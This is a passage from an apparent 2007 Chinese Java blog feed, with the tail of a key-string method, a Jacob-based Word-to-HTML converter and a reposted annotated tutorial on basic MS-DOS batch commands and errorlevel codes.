i--)<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; {<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; n = td[i] &amp; 0xff;<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; theKey.append(n % 10);<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; }<br>&nbsp;<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; for(int i = 6; i &gt;= 3; i--)<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; {<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; n = td[i] &amp; 0xff;<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; theKey.append(Integer.toHexString(n % 16));<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; }<br>&nbsp;<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; theKey.append("-");<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; for(int i = 4; i &gt;= 1; i--)<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; {<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; n = td[i] &amp; 0xff;<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; theKey.append(n % 10);<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; }<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; }catch(Exception e)<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; {}</p>
<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; return theKey.toString();</p>
<p>&nbsp;&nbsp;&nbsp; }</p>
<p>} </p>
<img src ="http://www.blogjava.net/galaxyp/aggbug/126541.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.blogjava.net/galaxyp/" target="_blank">舵手 QQ：8117892</a> 2007-06-27 11:51 <a href="http://www.blogjava.net/galaxyp/archive/2007/06/27/126541.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>JAVA中把WORD文档直接转换成html</title><link>http://www.blogjava.net/galaxyp/archive/2007/06/21/125529.html</link><dc:creator>舵手 QQ：8117892</dc:creator><author>舵手 QQ：8117892</author><pubDate>Thu, 21 Jun 2007 05:06:00 GMT</pubDate><guid>http://www.blogjava.net/galaxyp/archive/2007/06/21/125529.html</guid><wfw:comment>http://www.blogjava.net/galaxyp/comments/125529.html</wfw:comment><comments>http://www.blogjava.net/galaxyp/archive/2007/06/21/125529.html#Feedback</comments><slash:comments>6</slash:comments><wfw:commentRss>http://www.blogjava.net/galaxyp/comments/commentRss/125529.html</wfw:commentRss><trackback:ping>http://www.blogjava.net/galaxyp/services/trackbacks/125529.html</trackback:ping><description><![CDATA[<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; jacob是java和windows下的com桥，通过它我们可以在java<font face=宋体 size=2>程序中调用COM组件。如果你的JDK是1.4，那你需要下载jacob1.9的jni库才能正常运行，早期版本在JDK1.4下有些问题。<br>&nbsp;</font><br>package com;<br>/**<br>&nbsp;* &lt;p&gt;Title:Word文档转html类&lt;/p&gt;<br>&nbsp;* &lt;p&gt;Description: &lt;/p&gt;<br>&nbsp;* &lt;p&gt;Copyright:() 2002&lt;/p&gt;<br>&nbsp;* @author&nbsp;舵手<br>&nbsp;* @version 1.0<br>&nbsp;*/<br>import com.jacob.com.*;<br>import com.jacob.activeX.*;</p>
<p>public class WordtoHtml {<br>&nbsp;/**<br>&nbsp; *文档转换函数<br>&nbsp; <a href="&#109;&#97;&#105;&#108;&#116;&#111;&#58;&#42;&#64;&#112;&#97;&#114;&#97;&#109;">*@param</a> docfile word文档的绝对路径加文件名(包含扩展名)<br>&nbsp; <a href="&#109;&#97;&#105;&#108;&#116;&#111;&#58;&#42;&#64;&#112;&#97;&#114;&#97;&#109;">*@param</a> htmlfile 转换后的html文件绝对路径和文件名(不含扩展名)<br>&nbsp; */<br>&nbsp;public static void change(String docfile, String htmlfile) {<br>&nbsp;&nbsp;ActiveXComponent app = new ActiveXComponent("Word.Application");// 启动word<br>&nbsp;&nbsp;try {<br>&nbsp;&nbsp;&nbsp;app.setProperty("Visible", new Variant(false));<br>&nbsp;&nbsp;&nbsp; //设置word不可见<br>&nbsp;&nbsp;&nbsp;Object docs = app.getProperty("Documents").toDispatch();<br>&nbsp;&nbsp;&nbsp;Object doc = Dispatch.invoke(docs,"Open",Dispatch.Method,new Object[] { docfile, new Variant(false),new Variant(true) }, new int[1]).toDispatch();<br>&nbsp;&nbsp;&nbsp;// 打开word文件<br>&nbsp;&nbsp;&nbsp;Dispatch.invoke(doc, "SaveAs", Dispatch.Method, new Object[] {htmlfile, new Variant(8) }, new int[1]);<br>&nbsp;&nbsp;&nbsp;// 作为html格式保存到临时文件<br>&nbsp;&nbsp;&nbsp;Variant f = new Variant(false);<br>&nbsp;&nbsp;&nbsp;Dispatch.call(doc, "Close", f);<br>&nbsp;&nbsp;} catch (Exception e) {<br>&nbsp;&nbsp;&nbsp;e.printStackTrace();<br>&nbsp;&nbsp;} finally {<br>&nbsp;&nbsp;&nbsp;app.invoke("Quit", new Variant[]{});<br>&nbsp;&nbsp;}<br>&nbsp;}<br>&nbsp;public static void main(String[] strs){<br>&nbsp;&nbsp;WordtoHtml.change("c:\\a\\运输管理调度系统总体方案.doc", "c:\\a\\t");<br>&nbsp;&nbsp;<br>&nbsp;}<br>}</p>
<img src ="http://www.blogjava.net/galaxyp/aggbug/125529.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.blogjava.net/galaxyp/" target="_blank">舵手 QQ：8117892</a> 2007-06-21 13:06 <a href="http://www.blogjava.net/galaxyp/archive/2007/06/21/125529.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>批处理命令基础学习</title><link>http://www.blogjava.net/galaxyp/archive/2007/03/07/102369.html</link><dc:creator>舵手 QQ：8117892</dc:creator><author>舵手 QQ：8117892</author><pubDate>Wed, 07 Mar 2007 05:04:00 GMT</pubDate><guid>http://www.blogjava.net/galaxyp/archive/2007/03/07/102369.html</guid><wfw:comment>http://www.blogjava.net/galaxyp/comments/102369.html</wfw:comment><comments>http://www.blogjava.net/galaxyp/archive/2007/03/07/102369.html#Feedback</comments><slash:comments>1</slash:comments><wfw:commentRss>http://www.blogjava.net/galaxyp/comments/commentRss/102369.html</wfw:commentRss><trackback:ping>http://www.blogjava.net/galaxyp/services/trackbacks/102369.html</trackback:ping><description><![CDATA[
		<p>转自百度贴吧<br /><br />批处理文件或批处理程序是一个包含若干MS-DOS命令的正文文件，扩展名为.BAT。当在命令提示符下敲入批处理程序的名称时，MS-DOS成组执行此批处理程序中的命令。 <br />任何在命令提示符下可使用的命令都可用在批处理程序中。此外，下面MS-DOS命令是专门在批处理程序中使用的。 <br />&lt;Call&gt;         &lt;If&gt; <br />&lt;Choice&gt;         &lt;Pause&gt; <br />&lt;Echo&gt;         &lt;Rem&gt; <br />&lt;For&gt;           &lt;Shift&gt; <br />&lt;Goto&gt; <br />================================================================ <br />常用命令 <br />echo、@、call、pause、rem(小技巧：用::代替rem)是批处理文件最常用的几个命令，我们就从他们开始学起。 <br />==== willsort 编注 ============================================== <br />首先, @ 不是一个命令, 而是DOS 批处理的一个特殊标记符, 仅用于屏蔽命令行回显. 下面是DOS命令行或批处理中可能会见到的一些特殊标记符: <br />CR(0D)   命令行结束符 <br />Escape(1B)   ANSI转义字符引导符 <br />Space(20)   常用的参数界定符 <br />Tab(09) ; =   不常用的参数界定符 <br />+     COPY命令文件连接符 <br />* ?       文件通配符 <br />""       字符串界定符 <br />|       命令管道符 <br />&lt; &gt; &gt;&gt;   文件重定向符 <br />@       命令行回显屏蔽符 <br />/       参数开关引导符 <br />:       批处理标签引导符 <br />%       批处理变量引导符 <br />其次, :: 确实可以起到rem 的注释作用, 而且更简洁有效; 但有两点需要注意: <br />第一, 除了 :: 之外, 任何以 :开头的字符行, 在批处理中都被视作标号, 而直接忽略其后的所有内容, 只是为了与正常的标号相区别, 建议使用 goto 所无法识别的标号, 即在 :后紧跟一个非字母数字的一个特殊符号. <br />第二, 与rem 不同的是, ::后的字符行在执行时不会回显, 无论是否用echo on打开命令行回显状态, 因为命令解释器不认为他是一个有效的命令行, 就此点来看, rem 在某些场合下将比 :: 更为适用; 另外, rem 可以用于 config.sys 文件中. <br />================================================================ <br />echo 表示显示此命令后的字符 <br />echo off 表示在此语句后所有运行的命令都不显示命令行本身 <br />@与echo off相象，但它是加在每个命令行的最前面，表示运行时不显示这一行的命令行（只能影响当前行）。 <br />call 调用另一个批处理文件（如果不用call而直接调用别的批处理文件，那么执行完那个批处理文件后将无法返回当前文件并执行当前文件的后续命令）。 <br />pause 运行此句会暂停批处理的执行并在屏幕上显示Press any key to continue...的提示，等待用户按任意键后继续 <br />rem 表示此命令后的字符为解释行（注释），不执行，只是给自己今后参考用的（相当于程序中的注释）。 <br />==== willsort 编注 ============================================= <br />此处的描述较为混乱, 不如直接引用个命令的命令行帮助更为条理 <br />----------------------------------------------------------------- <br />                ECHO <br />当程序运行时，显示或隐藏批处理程序中的正文。也可用于允许或禁止命令的回显。 <br />在运行批处理程序时，MS-DOS一般在屏幕上显示（回显）批处理程序中的命令。 <br />使用ECHO命令可关闭此功能。 <br />语法 <br />ECHO [ON|OFF] <br />若要用echo命令显示一条命令，可用下述语法： <br />echo [message] <br />参数 <br />ON|OFF <br />指定是否允许命令的回显。若要显示当前的ECHO的设置，可使用不带参数的ECHO <br />命令。 <br />message <br />指定让MS-DOS在屏幕上显示的正文。 <br />----------------------------------------------------------------- <br />                CALL <br />从一个批处理程序中调用另一个批处理程序，而不会引起第一个批处理的中止。 <br />语法 <br />CALL [drive:][path]filename [batch-parameters] <br />参数 <br />[drive:][path]filename <br />指定要调用的批处理程序的名字及其存放处。文件名必须用.BAT作扩展名。 <br /> <br />batch-parameters <br />指定批处理程序所需的命令行信息。 <br />---------------------------------------------------------------------------- <br />              PAUSE <br />暂停批处理程序的执行并显示一条消息，提示用户按任意键继续执行。只能在批处 <br />理程序中使用该命令。 <br />语法 <br />PAUSE <br />---------------------------------------------------------------------------- <br />                REM <br />在批处理文件或CONFIG.SYS中加入注解。也可用REM命令来屏蔽命令（在CONFIG.SYS <br />中也可以用分号(;)代替REM命令，但在批处理文件中则不能替代）。 <br />语法 <br />REM [string] <br />参数 <br />string <br />指定要屏蔽的命令或要包含的注解。 <br />================================================================ <br />例1：用edit编辑a.bat文件，输入下列内容后存盘为c:\a.bat，执行该批处理文件后可实现：将根目录中所有文件写入 a.txt中，启动UCDOS，进入WPS等功能。 <br />　　批处理文件的内容为: 　　　　　　　 命令注释： <br />　　　　@echo off　　　　　　　　　　　不显示后续命令行及当前命令行 <br />　　　　dir c:\*.* &gt;a.txt　　　　　　　将c盘文件列表写入a.txt <br />　　　　call c:\ucdos\ucdos.bat　　　　调用ucdos <br />　　　　echo 你好 　　　　　　　　　　 显示"你好" <br />　　　　pause 　　　　　　　　　　　　 暂停,等待按键继续 <br />　　　　rem 准备运行wps 　　　　　　　 注释：准备运行wps <br />　　　　cd ucdos　　　　　　　　　　　 进入ucdos目录 <br />　　　　wps 　　　　　　　　　　　　　 运行wps　　 <br />批处理文件的参数 <br />批处理文件还可以像C语言的函数一样使用参数（相当于DOS命令的命令行参数），这需要用到一个参数表示符“%”。 <br />%[1-9]表示参数，参数是指在运行批处理文件时在文件名后加的以空格（或者Tab）分隔的字符串。变量可以从%0到%9，%0表示批处理命令本身，其它参数字符串用%1到%9顺序表示。 <br />例2：C:根目录下有一批处理文件名为f.bat，内容为： <br />@echo off <br />format %1 <br />如果执行C:\&gt;f a: <br />那么在执行f.bat时，%1就表示a:，这样format %1就相当于format a:，于是上面的命令运行时实际执行的是format a: <br />例3：C:根目录下一批处理文件名为t.bat，内容为: <br />@echo off <br />type %1 <br />type %2 <br />那么运行C:\&gt;t a.txt b.txt <br />%1 : 表示a.txt <br />%2 : 表示b.txt <br />于是上面的命令将顺序地显示a.txt和b.txt文件的内容。 <br />特殊命令 <br />if goto choice for是批处理文件中比较高级的命令，如果这几个你用得很熟练，你就是批处理文件的专家啦。 <br />一、if 是条件语句，用来判断是否符合规定的条件，从而决定执行不同的命令。 有三种格式: <br />1、if [not] "参数" == "字符串" 待执行的命令 <br />参数如果等于(not表示不等，下同)指定的字符串，则条件成立，运行命令，否则运行下一句。 <br />例：if "%1"=="a" format a: </p>
		<p>if 的命令行帮助中关于此点的描述为: <br />  IF [NOT] string1==string2 command <br />在此有以下几点需要注意: <br />  1. 包含字符串的双引号不是语法所必须的, 而只是习惯上使用的一种"防空"字符 <br />  2. string1 未必是参数, 它也可以是环境变量, 循环变量以及其他字符串常量或变量 <br />  3. command 不是语法所必须的, string2 后跟一个空格就可以构成一个有效的命令行 <br />================================================================ <br />2、if [not] exist [路径\]文件名 待执行的命令 <br />如果有指定的文件，则条件成立，运行命令，否则运行下一句。 <br />如: if exist c:\config.sys type c:\config.sys <br />表示如果存在c:\config.sys文件，则显示它的内容。 <br />****** willsort 编注 ******** <br />也可以使用以下的用法: <br />  if exist &lt;device&gt; command <br />device 是指DOS系统中已加载的设备, 在win98下通常有: <br />  AUX, PRN, CON, NUL <br />  COM1, COM2, COM3, COM4 <br />  <br />   LPT1, LPT2, LPT3, LPT4 <br />  XMSXXXX0, EMMXXXX0 <br />  A: B: C: ..., <br />  CLOCK$, CONFIG$, DblBuff$, IFS$HLP$ <br />具体的内容会因硬软件环境的不同而略有差异, 使用这些设备名称时, 需要保证以下三点: <br />  1. 该设备确实存在(由软件虚拟的设备除外) <br />  2. 该设备驱动程序已加载(aux, prn等标准设备由系统缺省定义) <br />  3. 该设备已准备好(主要是指a: b: ..., com1..., lpt1...等) <br />可通过命令 mem/d | find "device" /i 来检阅你的系统中所加载的设备 <br />另外, 在DOS系统中, 设备也被认为是一种特殊的文件, 而文件也可以称作字符设备; 因为设备(device)与文件都是使用句柄(handle)来管理的, 句柄就是名字, 类似于文件名, 只不过句柄不是应用于磁盘管理, 而是应用于内存管理而已, 所谓设备加载也即指在内存中为其分配可引用的句柄. <br />================================================================ <br />3、if errorlevel &lt;数字&gt; 待执行的命令 <br />很多DOS程序在运行结束后会返回一个数字值用来表示程序运行的结果(或者状态)，通过if errorlevel命令可以判断程序的返回值，根据不同的返回值来决定执行不同的命令(返回值必须按照从大到小的顺序排列)。如果返回值等于指定的数字，则条件成立，运行命令，否则运行下一句。 <br />如if errorlevel 2 goto x2 <br />==== willsort 编注 ==================================================== <br />返回值从大到小的顺序排列不是必须的, 而只是执行命令为 goto 时的习惯用法, 当使用 set 作为执行命令时, 通常会从小到大顺序排列, 比如需将返回码置入环境变量, 就需使用以下的顺序形式: <br />if errorlevel 1 set el=1 <br />if errorlevel 2 set el=2 <br />if errorlevel 3 set el=3 <br />if errorlevel 4 set el=4 <br />if errorlevel 5 set el=5 <br />... <br />当然, 也可以使用以下循环来替代, 原理是一致的: <br />for %%e in (1 2 3 4 5 6 7 8...) do if errorlevel %%e set el=%%e <br />更高效简洁的用法, 可以参考我写的另一篇关于获取 errorlevel 的文章 <br />出现此种现象的原因是, if errorlevel 比较返回码的判断条件并非等于, 而是大于等于. 由于 goto 的跳转特性, 由小到大排序会导致在较小的返回码处就跳出; 而由于 set命令的 "重复" 赋值特性, 由大到小排序会导致较小的返回码 "覆盖" 较大的返回码. <br />另外, 虽然 if errorlevel=&lt;数字&gt; command 也是有效的命令行, 但也只是 command.com 解释命令行时将 = 作为命令行切分符而忽略掉罢了 <br />================================================================ <br />二、goto 批处理文件运行到这里将跳到goto所指定的标号(标号即label，标号用:后跟标准字符串来定义)处，goto语句一般与if配合使用，根据不同的条件来执行不同的命令组。 <br />如: <br />goto end <br />:end <br />echo this is the end <br />标号用“:字符串”来定义，标号所在行不被执行。 <br />==== willsort 编注 ==================================================== <br />label 常被译为 "标签" , 但是这并不具有广泛的约定性. <br />goto &lt;label&gt; 与 :&lt;label&gt; 联用可实现执行中途的跳转, 再结合 if 可实现执行过程的条件分支, 多个 if 即可实现命令的分组, 类似 C 中 switch case 结构或者 Basic 中的 select case 结构, 大规模且结构化的命令分组即可实现高级语言中的函数功能. 以下是批处理和C/Basic在语法结构上的对照: <br />  Batch           C / Basic <br />  goto&amp;:           goto&amp;: <br />  goto&amp;:&amp;if         if{}&amp;else{} / if&amp;elseif&amp;endif <br />  goto&amp;:&amp;if...       switch&amp;case / select case <br />  goto&amp;:&amp;if&amp;set&amp;envar...   function() / function(),sub() <br />================================================================ <br />三、choice 使用此命令可以让用户输入一个字符（用于选择），从而根据用户的选择返回不同的errorlevel，然后于if errorlevel配合，根据用户的选择运行不同的命令。 <br /> <br /> 注意：choice命令为DOS或者Windows系统提供的外部命令，不同版本的choice命令语法会稍有不同，请用choice /?查看用法。 <br />choice的命令语法（该语法为Windows 2003中choice命令的语法，其它版本的choice的命令语法与此大同小异）： <br />CHOICE [/C choices] [/N] [/CS] [/T timeout /D choice] [/M text] <br />描述: <br />该工具允许用户从选择列表选择一个项目并返回所选项目的索引。 <br />参数列表: <br />/C   choices   指定要创建的选项列表。默认列表是 "YN"。 <br />/N         在提示符中隐藏选项列表。提示前面的消息得到显示， <br />        选项依旧处于启用状态。 <br />/CS       允许选择分大小写的选项。在默认情况下，这个工具 <br />        是不分大小写的。 <br />/T   timeout   做出默认选择之前，暂停的秒数。可接受的值是从 0 <br />        到 9999。如果指定了 0，就不会有暂停，默认选项 <br />        会得到选择。 <br />/D   choice   在 nnnn 秒之后指定默认选项。字符必须在用 /C 选 <br />        项指定的一组选择中; 同时，必须用 /T 指定 nnnn。 <br />/M   text     指定提示之前要显示的消息。如果没有指定，工具只 <br />        显示提示。 <br />/?         显示帮助消息。 <br />注意: <br />ERRORLEVEL 环境变量被设置为从选择集选择的键索引。列出的第一个选 <br />择返回 1，第二个选择返回 2，等等。如果用户按的键不是有效的选择， <br />该工具会发出警告响声。如果该工具检测到错误状态，它会返回 255 的 <br />ERRORLEVEL 值。如果用户按 Ctrl+Break 或 Ctrl+C 键，该工具会返回 0 <br />的 ERRORLEVEL 值。在一个批程序中使用 ERRORLEVEL 参数时，将参数降 <br />序排列。 <br />示例: <br />CHOICE /? <br />CHOICE /C YNC /M "确认请按 Y，否请按 N，或者取消请按 C。" <br />CHOICE /T 10 /C ync /CS /D y <br />CHOICE /C ab /M "选项 1 请选择 a，选项 2 请选择 b。" <br />CHOICE /C ab /N /M "选项 1 请选择 a，选项 2 请选择 b。" <br />==== willsort 编注 ==================================================== <br />我列出win98下choice的用法帮助, 已资区分 <br />Waits for the user to choose one of a set of choices. <br />等待用户选择一组待选字符中的一个 <br />CHOICE [/C[:]choices] [/N] [/S] [/T[:]c,nn] [text] <br />/C[:]choices Specifies allowable keys. Default is YN <br />    指定允许的按键(待选字符), 默认为YN <br />/N     Do not display choices and ? at end of prompt string. <br />    不显示提示字符串中的问号和待选字符 <br />/S     Treat choice keys as case sensitive. <br />    处理待选字符时大小写敏感 <br />/T[:]c,nn   Default choice to c after nn seconds <br />    在 nn 秒后默认选择 c <br />text     Prompt string to display <br />    要显示的提示字符串 <br />ERRORLEVEL is set to offset of key user presses in choices. <br />ERRORLEVEL 被设置为用户键入的字符在待选字符中的偏移值 <br />================================================================ <br />如果我运行命令：CHOICE /C YNC /M "确认请按 Y，否请按 N，或者取消请按 C。" <br />屏幕上会显示： <br />确认请按 Y，否请按 N，或者取消请按 C。 [Y,N,C]? </p>
		<p>例：test.bat的内容如下（注意，用if errorlevel判断返回值时，要按返回值从高到低排列）: <br />@echo off <br />choice /C dme /M "defrag,mem,end" <br />if errorlevel 3 goto end <br />if errorlevel 2 goto mem <br />if errorlevel 1 goto defrag <br />:defrag <br />c:\dos\defrag <br />goto end <br />:mem <br />mem <br />goto end <br />:end <br />echo good bye <br />此批处理运行后，将显示“defrag,mem,end[D,M,E]?” ，用户可选择d m e ，然后if语句根据用户的选择作出判断，d表示执行标号为defrag的程序段，m表示执行标号为mem的程序段，e表示执行标号为end的程序段，每个程序段最后都以goto end将程序跳到end标号处，然后程序将显示good bye，批处理运行结束。 <br /> <br /> 四、for 循环命令，只要条件符合，它将多次执行同一命令。 <br />语法： <br />对一组文件中的每一个文件执行某个特定命令。 <br />FOR %%variable IN (set) DO command [command-parameters] <br />%%variable 指定一个单一字母可替换的参数。 <br />(set)   指定一个或一组文件。可以使用通配符。 <br />command   指定对每个文件执行的命令。 <br />command-parameters <br />    为特定命令指定参数或命令行开关。 <br />例如一个批处理文件中有一行: <br />for %%c in (*.bat *.txt) do type %%c <br />则该命令行会显示当前目录下所有以bat和txt为扩展名的文件的内容。 <br />==== willsort 编注 ==================================================== <br />需要指出的是, 当()中的字符串并非单个或多个文件名时, 它将单纯被当作字符串替换, 这个特性再加上()中可以嵌入多个字符串的特性, 很明显 for 可以被看作一种遍历型循环. <br />当然, 在 nt/2000/xp/2003 系列的命令行环境中, for 被赋予了更多的特性, 使之可以分析命令输出或者文件中的字符串, 也有很多开关被用于扩展了文件替换功能. <br />===============================================================＝ <br />批处理示例 <br />1. IF-EXIST <br />1) 首先用记事本在C:\建立一个test1.bat批处理文件，文件内容如下： <br />@echo off <br />IF EXIST \AUTOEXEC.BAT TYPE \AUTOEXEC.BAT <br />IF NOT EXIST \AUTOEXEC.BAT ECHO \AUTOEXEC.BAT does not exist <br />然后运行它： <br />C:\&gt;TEST1.BAT <br />如果C:\存在AUTOEXEC.BAT文件，那么它的内容就会被显示出来，如果不存在，批处理就会提示你该文件不存在。 <br />2) 接着再建立一个test2.bat文件，内容如下： <br />@ECHO OFF <br />IF EXIST \%1 TYPE \%1 <br />IF NOT EXIST \%1 ECHO \%1 does not exist <br />执行: <br />C:\&gt;TEST2 AUTOEXEC.BAT <br />该命令运行结果同上。 <br />说明： <br />(1) IF EXIST 是用来测试文件是否存在的，格式为 <br />IF EXIST [路径+文件名] 命令 <br />(2) test2.bat文件中的%1是参数，DOS允许传递9个批参数信息给批处理文件，分别为%1~%9(%0表示test2命令本身) ，这有点象编程中的实参和形参的关系，%1是形参，AUTOEXEC.BAT是实参。 <br />==== willsort 编注 ==================================================== <br />DOS没有 "允许传递9个批参数信息" 的限制, 参数的个数只会受到命令行长度和所调用命令处理能力的限制. 但是, 我们在批处理程序中, 在同一时刻只能同时引用10个参数, 因为 DOS只给出了 %0~%9这十个参数引用符. <br />================================================================ <br />3) 更进一步的，建立一个名为TEST3.BAT的文件，内容如下： <br />@echo off <br />IF "%1" == "A" ECHO XIAO <br />IF "%2" == "B" ECHO TIAN <br />IF "%3" == "C" ECHO XIN <br />如果运行： <br />C:\&gt;TEST3 A B C <br />屏幕上会显示: <br />XIAO <br />TIAN <br />XIN <br />如果运行： <br />C:\&gt;TEST3 A B <br />屏幕上会显示 <br />XIAO <br />TIAN <br />在这个命令执行过程中，DOS会将一个空字符串指定给参数%3。 <br />2、IF-ERRORLEVEL <br />建立TEST4.BAT，内容如下： <br />@ECHO OFF <br />XCOPY C:\AUTOEXEC.BAT D:\ <br />IF ERRORLEVEL 1 ECHO 文件拷贝失败 <br />IF ERRORLEVEL 0 ECHO 成功拷贝文件 <br />然后执行文件: <br />C:\&gt;TEST4 <br />如果文件拷贝成功，屏幕就会显示“成功拷贝文件”，否则就会显示“文件拷贝失败”。 <br />IF ERRORLEVEL 是用来测试它的上一个DOS命令的返回值的，注意只是上一个命令的返回值，而且返回值必须依照从大到小次序顺序判断。 <br />因此下面的批处理文件是错误的： <br />@ECHO OFF <br />XCOPY C:\AUTOEXEC.BAT D:\ <br />IF ERRORLEVEL 0 ECHO 成功拷贝文件 <br />IF ERRORLEVEL 1 ECHO 未找到拷贝文件 <br />IF ERRORLEVEL 2 ECHO 用户通过ctrl-c中止拷贝操作 <br />IF ERRORLEVEL 3 ECHO 预置错误阻止文件拷贝操作 <br />IF ERRORLEVEL 4 ECHO 拷贝过程中写盘错误 <br />无论拷贝是否成功，后面的： <br />未找到拷贝文件 <br />用户通过ctrl-c中止拷贝操作 <br /> <br /> 预置错误阻止文件拷贝操作 <br />拷贝过程中写盘错误 <br />都将显示出来。 <br />以下就是几个常用命令的返回值及其代表的意义： <br />backup <br />0 备份成功 <br />1 未找到备份文件 <br />2 文件共享冲突阻止备份完成 <br />3 用户用ctrl-c中止备份 <br />4 由于致命的错误使备份操作中止 <br />diskcomp <br />0 盘比较相同 <br />1 盘比较不同 <br />2 用户通过ctrl-c中止比较操作 <br />3 由于致命的错误使比较操作中止 <br />4 预置错误中止比较 <br />diskcopy <br />0 盘拷贝操作成功 <br />1 非致命盘读/写错 <br />2 用户通过ctrl-c结束拷贝操作 <br />3 因致命的处理错误使盘拷贝中止 <br />4 预置错误阻止拷贝操作 <br />format <br />0 格式化成功 <br />3 用户通过ctrl-c中止格式化处理 <br />4 因致命的处理错误使格式化中止 <br />5 在提示“proceed with format（y/n）?”下用户键入n结束 <br />xcopy <br />0 成功拷贝文件 <br />1 未找到拷贝文件 <br />2 用户通过ctrl-c中止拷贝操作 <br />4 预置错误阻止文件拷贝操作 <br />5 拷贝过程中写盘错误 <br />==== willsort 编注 ==================================================== <br />chkdsk <br />0   未找到错误 <br />255 找到一个或多个错误 <br />choice <br />0   用户按下ctrl+c/break <br />1   用户按下第一个键 <br />255 检测到命令行中的错误条件 <br />其它 用户按下的有效字符在列表中的位置 <br />defrag <br />0   碎片压缩成功 <br />1   出现内部错误 <br />2   磁盘上没有空簇。要运行DEFRAG，至少要有一个空簇 <br />3   用户用Ctrl+C退出了DEFRAG <br />4   出现一般性错误 <br />5   DEFRAG在读簇时遇到错误 <br />6   DEFRAG在写簇时遇到错误 <br />7   分配空间有错 <br />8   内存错 <br />9   没有足够空间来压缩磁盘碎片 <br />deltree <br />0   成功地删除一个目录 <br />diskcomp <br />0   两盘相同 <br />1   发现不同 <br />2   按CTRL+C 终止了比较 <br />3   出现严重错误 <br />4   出现初始化错误 <br />find <br />0   查找成功且至少找到了一个匹配的字符串 <br />1   查找成功但没找到匹配的字符串 <br />2   查找中出现了错误 <br />keyb <br />0   键盘定义文件装入成功 <br />1   使用了非法的键盘代码，字符集或语法 <br />2   键盘定义文件坏或未找到 <br />4   键盘、监视器通讯时出错 <br />5   要求的字符集未准备好 <br />move <br />0   成功地移动了指定的文件 <br />1   发生了错误 <br />msav /N <br />86   检查到了病毒 <br />replace <br />0   REPLACE成功地替换或加入了文件 <br />1   MS-DOS版本和REPLACE不兼容 <br />2   REPLACE找不到源文件 <br />3   REPLACE找不到源路径或目标路径 <br />5   不能存取要替换的文件 <br />8   内存不够无法执行REPLACE <br />11   命令行句法错误 <br />restore <br />0   RESTORE成功地恢复了文件 <br />1   RESTORE找不到要恢复的文件 <br />3   用户按CTRL+C终止恢复过程 <br />4   RESTORE因错误而终止 <br />scandisk <br />0   ScanDisk在它检查的驱动器上未检测到任何错误 <br />1   由于命令行的语法不对，不能运行ScanDisk <br />2   由于内存用尽或发生内部错误，ScanDisk意外终止 <br />3   用户让ScanDisk中途退出 <br />4   进行盘面扫描时，用户决定提前退出 <br />254 ScanDisk找到磁盘故障并已全部校正 <br />255 ScanDisk找到磁盘故障，但未能全部校正 <br />setver <br />0   SETVER成功地完成了任务 <br />1   用户指定了一个无效的命令开关 <br />2   用户指定了一个非法的文件名 <br />3   没有足够的系统内存来运行命令 <br />4   用户指定了一个非法的版本号格式 <br />5   SETVER在版本表中未找到指定的项 <br />6   SETVER未找到SETVER.EXE文件 <br />7   用户指定了一个非法的驱动器 <br />8   用户指定了太多的命令行参数 <br />9   SETVER检测到丢失了命令行参数 <br />10   在读SETVER.EXE文件时，SETVER检测到发生错误 <br />11   SETVER.EXE文件损坏 <br />12   指定的SETVER.EXE文件不支持版本表 <br />13   版本表中没有足够的空间存放新的项 <br />14   在写SETVER.EXE文件时SETVER检测到发生错误 <br />================================================================ <br />3、IF STRING1 == STRING2 <br />建立TEST5.BAT，文件内容如下： <br />@echo off <br />IF "%1" == "A" FORMAT A: <br />执行： <br />C:\&gt;TEST5 A <br />屏幕上就出现是否将A:盘格式化的内容。 <br />注意：为了防止参数为空的情况，一般会将字符串用双引号（或者其它符号，注意不能使用保留符号）括起来。 <br />如：if [%1]==[A] 或者 if %1*==A* <br />5、GOTO <br />建立TEST6.BAT，文件内容如下： <br />@ECHO OFF <br />IF EXIST C:\AUTOEXEC.BAT GOTO _COPY <br />GOTO _DONE <br />:_COPY <br />COPY C:\AUTOEXEC.BAT D:\ <br />:_DONE <br />注意： <br />(1) 标号前是ASCII字符的冒号":"，冒号与标号之间不能有空格。 <br />(2) 标号的命名规则与文件名的命名规则相同。 <br />(3) DOS支持最长八位字符的标号，当无法区别两个标号时，将跳转至最近的一个标号。 <br />==== willsort 编注 ==================================================== <br />1)标号也称作标签(label) <br 